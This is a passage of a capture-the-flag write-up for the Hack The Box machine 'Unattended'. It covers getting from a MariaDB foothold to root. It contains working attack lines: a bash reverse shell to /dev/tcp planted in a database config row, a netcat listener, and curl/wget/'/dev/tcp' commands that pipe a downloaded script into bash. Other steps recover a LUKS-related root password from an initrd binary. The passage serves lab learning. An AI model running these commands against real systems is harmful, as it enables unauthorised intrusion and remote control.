Enter password: 1036913cf7d38d4ea4f79b050f171e9fbf3f5e
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 61
Server version: 10.1.37-MariaDB-0+deb9u1 Debian 9.6
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [neddy]>> show tables;
show tables;
+-----------------+
| Tables_in_neddy |
+-----------------+
| config |
| customers |
| employees |
| filepath |
| idname |
| offices |
| orderdetails |
| orders |
| payments |
| productlines |
| products |
+-----------------+
11 rows in set (0.00 sec)
And we are logged in as the user nestedflanders! now we'll print the tables, and the hint here is to get into the config table, and update the option_value to another reverse shell:
update config set option_value = "bash -c 'bash -i >& /dev/tcp/10.10.14.7/80 0>&1'" where id = '86';
Since 80 is the only second port opened, we have to use it:
MariaDB [neddy]> update config set option_value = "bash -c 'bash -i >& /dev/tcp/10.10.14.7/80 0>&1'" where id = '86';
<sh -c 'bash -i >& /dev/tcp/10.10.14.7/80 0>&1'" where id = '86';
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
MariaDB [neddy]> select * from config where id = '86'
select * from config where id = '86'
-> ;
;
+----+--------------+--------------------------------------------------+
| id | option_name | option_value |
+----+--------------+--------------------------------------------------+
| 86 | checkrelease | bash -c 'bash -i >& /dev/tcp/10.10.14.7/80 0>&1' |
+----+--------------+--------------------------------------------------+
1 row in set (0.00 sec)
Here we wait a bit, and get a reverse shell once again this time as the user guly, and we cat out the user flag:
[ 10.10.14.7/23 ] [ /dev/pts/5 ] [~]
→ sudo nc -lvnp 80
[sudo] password for nothing:
listening on [any] 80 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.126] 47268
bash: cannot set terminal process group (1658): Inappropriate ioctl for device
bash: no job control in this shell
guly@unattended:~$ id
id
uid=1000(guly) gid=1000(guly) groups=1000(guly),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),47(grub),108(netdev)
guly@unattended:~$ cat user.txt
cat user.txt
9bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We got a second reverse shell and now have the user flag.
In order to privesc from the user guly to root, we can enumerate the box using LinEnum.sh:
local machine:
$cp /path/to/linEnum.sh .
$python -m SimpleHTTPServer 8080
remote machine:
curl http://10.10.14.16:8081/LinEnum.sh | bash
wget http://10.10.14.16:8081/LinEnum.sh -O - | bash
cat < /dev/tcp/10.10.14.3/8080 | bash
guly@unattended:~$ which wget && which curl
which wget && which curl
/usr/bin/wget
Since curl isn't there, we use the wget line. Looking at the results, we don't even get anything interesting sadly, apart from us being part of the grub group as we saw initially when we got our second reverse shell. so we look over at the output of the mount cmd:
guly@unattended:~$ mount
mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,relatime,hidepid=2)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=1014344k,nr_inodes=253586,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=205252k,mode=755)
/dev/mapper/sda2_crypt on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)
securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,noexec)
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd)
pstore on /sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)
systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=28,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=9241)
mqueue on /dev/mqueue type mqueue (rw,relatime)
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /var/tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)
/dev/sda1 on /boot type ext2 (rw,relatime,block_validity,barrier,user_xattr,acl)
That which stands out is /dev/mapper/sda2_crypt, combine that with us being part of the grub group, maybe we modified grub to automap an encrypted drive, that is because a system do not automatically boots up on said encrypted drive, because it requires a password to read it's contents, such as the LUKS encrypted drives. To enumerate further, we can find which files are owned by grub:
find / -group grub -ls 2>/dev/null
guly@unattended:~$ find / -group grub -ls 2>/dev/null
find / -group grub -ls 2>/dev/null
16 19331 -rw-r----- 1 root grub 19715792 Aug 23 2019 /boot/initrd.img-4.9.0-8-amd64
And you see that the image that grub has access to is this initrd.img file. Looking at the date is also hinting us that this is the intended path because it is roughly the same date as the user.txt flag. so we download it:
[ 10.10.14.7/23 ] [ /dev/pts/7 ] [~/_HTB/Unattended]
→ file initrd.img
initrd.img: gzip compressed data, last modified: Fri Aug 23 09:26:41 2019, from Unix, original size modulo 2^32 62110208
It's gzip compressed, so we can decompress it with zcat:
zcat initrd.img | cpio -i
-i means extract, -d means make directories, -m means preserve modified time, -v for verbose,
[ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init]
→ ls
initrd.img
[ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init]
→ which zcat && which cpio
/usr/bin/zcat
/usr/bin/cpio
[ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init]
→ zcat initrd.img | cpio -idmv
Once extracted we'll filter out the extra data using the date from which the certificate was issued:
Using the find command with the dates(19 December 2018 and ):
[ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init]
→ find . -type f -newermt 2018-12-19 ! -newermt 2019-12-21 -ls
5775196 912 -rwxr-x--- 1 nothing nothing 933240 Aug 23 2019 ./sbin/uinitrd
5898937 84 -rw-r--r-- 1 nothing nothing 82756 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.dep.bin
5898879 4 -rw-r--r-- 1 nothing nothing 177 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.devname
5898880 8 -rw-r--r-- 1 nothing nothing 5327 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.builtin.bin
5898934 4 -rw-r--r-- 1 nothing nothing 310 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.softdep
5898938 56 -rw-r--r-- 1 nothing nothing 53740 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.dep
5898936 252 -rw-r--r-- 1 nothing nothing 256371 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.alias
5898935 232 -rw-r--r-- 1 nothing nothing 237478 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.alias.bin
5898881 184 -rw-r--r-- 1 nothing nothing 186301 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.symbols.bin
5898933 148 -rw-r--r-- 1 nothing nothing 151421 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.symbols
5636894 4 -rwxr-xr-x 1 nothing nothing 501 Aug 23 2019 ./scripts/init-top/udev
5636893 4 -rw-r--r-- 1 nothing nothing 314 Aug 23 2019 ./scripts/init-top/ORDER
5636909 4 -rw-r--r-- 1 nothing nothing 85 Aug 23 2019 ./scripts/local-bottom/ORDER
5636902 4 -rw-r--r-- 1 nothing nothing 77 Aug 23 2019 ./scripts/init-bottom/ORDER
5636905 4 -rw-r--r-- 1 nothing nothing 82 Aug 23 2019 ./scripts/local-premount/ORDER
5636890 4 -rw-r--r-- 1 nothing nothing 82 Aug 23 2019 ./scripts/local-block/ORDER
5637835 12 -rwxr-xr-x 1 nothing nothing 9470 Dec 20 2018 ./scripts/local-top/cryptroot
5637833 4 -rw-r--r-- 1 nothing nothing 162 Aug 23 2019 ./scripts/local-top/ORDER
5636554 4 -rw-r--r-- 1 nothing nothing 37 Aug 23 2019 ./boot/guid
5899964 4 -rw-r--r-- 1 nothing nothing 11 Aug 23 2019 ./etc/hostname
5899971 0 -rw-r--r-- 1 nothing nothing 0 Aug 23 2019 ./etc/fstab
5899968 4 -rw-r--r-- 1 nothing nothing 77 Aug 23 2019 ./etc/motd
5899959 4 -rw-r--r-- 1 nothing nothing 2074 Aug 23 2019 ./etc/ld.so.cache
5899967 4 -rw-r--r-- 1 nothing nothing 4024 Aug 23 2019 ./etc/boottime.kmap.gz
5899977 4 -rw-r--r-- 1 nothing nothing 84 Aug 23 2019 ./conf/conf.d/cryptroot
5899978 4 -rw-r--r-- 1 nothing nothing 12 Dec 20 2018 ./conf/conf.d/resume
5899973 4 -rw-r--r-- 1 nothing nothing 37 Aug 23 2019 ./conf/guid
5899975 4 -rw-r--r-- 1 nothing nothing 16 Aug 23 2019 ./conf/arch.conf
That's good enough, but we'll narrow it down to what we're looking for which is crypt:
[ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init]
→ find . -type f -newermt 2018-12-19 ! -newermt 2019-12-21 -ls | grep crypt
5637835 12 -rwxr-xr-x 1 nothing nothing 9470 Dec 20 2018 ./scripts/local-top/cryptroot
5899977 4 -rw-r--r-- 1 nothing nothing 84 Aug 23 2019 ./conf/conf.d/cryptroot
The interesting part here is cryptroot, so looking at it's contents:
So here we have a comment from guly, which is definitely the hint we need, then the cryptopen command, that tries to decrypt the drive, which is calling /sbin/unitrd to do so with the following string:
c0m3s3f0ss34nt4n1
Which we could have also found using a simple recursive grep search:
[ 10.10.14.7/23 ] [ /dev/pts/4 ] [_HTB/Unattended/init]
→ grep -RI password . && grep -RI guly .
./bin/cryptroot-unlock: echo "cryptsetup: cryptsetup failed, bad password or options?" >&2
./scripts/local-top/cryptroot: # Try to get a satisfactory password $crypttries times
./scripts/local-top/cryptroot: cryptkeyscript="plymouth ask-for-password --prompt"
./scripts/local-top/cryptroot: # guly: we have to deal with lukfs password sync when root changes her one
./scripts/local-top/cryptroot: message "cryptsetup: cryptsetup failed, bad password or options?"
./scripts/local-top/cryptroot: message "cryptsetup: unknown fstype, bad password or options?"
./scripts/local-top/cryptroot: # guly: we have to deal with lukfs password sync when root changes her one
So if we try this command on our machine, we get a password:
[ 10.10.14.7/23 ] [ /dev/pts/4 ] [_HTB/Unattended/init]
→ cd sbin
[ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin]
→ ls -lash | grep initrd
912K -rwxr-x--- 1 nothing nothing 912K Aug 23 2019 uinitrd
[ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin]
→ ./uinitrd c0m3s3f0ss34nt4n1
supercazzola
Sadly, both c0m3s3f0ss34nt4n1 and supercazzola are not the root password, so moving on, we'll examine this uinitrd inside the box Looking at the output of the mount cmd we need a share that doesn't have the noexec flag:
guly@unattended:~$ mount | grep tmp
mount | grep tmp
udev on /dev type devtmpfs (rw,nosuid,relatime,size=1014344k,nr_inodes=253586,mode=755)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=205252k,mode=755)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,noexec)
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /var/tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)
Sadly as you can see, the noexec flag is everywhere so we have to do it locally, we'll use the strace utility to examine the binary:
[ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin]
→ sudo apt install strace
[ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin]
→ strace ./uinitrd c0m3s3f0ss34nt4
execve("./uinitrd", ["./uinitrd", "c0m3s3f0ss34nt4"], 0x7ffe59e95778 /* 44 vars */) = 0
uname({sysname="Linux", nodename="nowhere", ...}) = 0
brk(NULL) = 0x704000
brk(0x7051c0) = 0x7051c0
arch_prctl(ARCH_SET_FS, 0x704880) = 0
readlink("/proc/self/exe", "/home/nothing/_HTB/Unattended/in"..., 4096) = 47
brk(0x7261c0) = 0x7261c0
brk(0x727000) = 0x727000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/etc/hostname", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=8, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff522874000
read(3, "nowhere\n", 4096) = 8
close(3) = 0
munmap(0x7ff522874000, 4096) = 0
open("/boot/guid", O_RDONLY) = -1 ENOENT (No such file or directory)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff522874000
write(1, "supercazzola", 12supercazzola) = 12
exit_group(0) = ?
+++ exited with 0 +++
We can see the binary checks /etc/hostname and /boot/guid
guly@unattended:~$ cat /boot/guid && cat /etc/hostname
cat /boot/guid && cat /etc/hostname
C0B604A4-FE6D-4C14-A791-BEB3769F3FBA
unattended
So we change them accordingly :
[ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin]
→ sudo su
[ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin]
→ echo 'unattended' > /etc/hostname
[ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin]
→ echo 'C0B604A4-FE6D-4C14-A791-BEB3769F3FBA' > /boot/guid
Run it again:
[ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin]
→ strace ./uinitrd c0m3s3f0ss34nt4n1
execve("./uinitrd", ["./uinitrd", "c0m3s3f0ss34nt4n1"], 0x7fff817b6008 /* 44 vars */) = 0
uname({sysname="Linux", nodename="nowhere", ...}) = 0
brk(NULL) = 0x9f0000
brk(0x9f11c0) = 0x9f11c0
arch_prctl(ARCH_SET_FS, 0x9f0880) = 0
readlink("/proc/self/exe", "/home/nothing/_HTB/Unattended/in"..., 4096) = 47
brk(0xa121c0) = 0xa121c0
brk(0xa13000) = 0xa13000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/etc/hostname", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=11, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4c5652d000
read(3, "unattended\n", 4096) = 11
close(3) = 0
munmap(0x7f4c5652d000, 4096) = 0
open("/boot/guid", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=37, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4c5652d000
read(3, "C0B604A4-FE6D-4C14-A791-BEB3769F"..., 4096) = 37
close(3) = 0
munmap(0x7f4c5652d000, 4096) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4c5652d000
write(1, "132f93ab100671dcb263acaf5dc95d82"..., 40132f93ab100671dcb263acaf5dc95d8260e8b7c6) = 40
exit_group(0) = ?
+++ exited with 0 +++
[ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin]
→ ./uinitrd c0m3s3f0ss34nt4n1
132f93ab100671dcb263acaf5dc95d8260e8b7c6
And here at the bottom we see a certain hash so let's try it to see if it is the root password:
guly@unattended:~$ su -
su -
Password: 132f93ab100671dcb263acaf5dc95d8260e8b7c6
root@unattended:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@unattended:~# cat root.txt
cat root.txt
55XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! We have been able to print out the root flag.
Here we can see the progress graph :
Some Address 67120,
Duttlenheim, France.
This cute theme was created to showcase your work in a simple way. Use it wisely.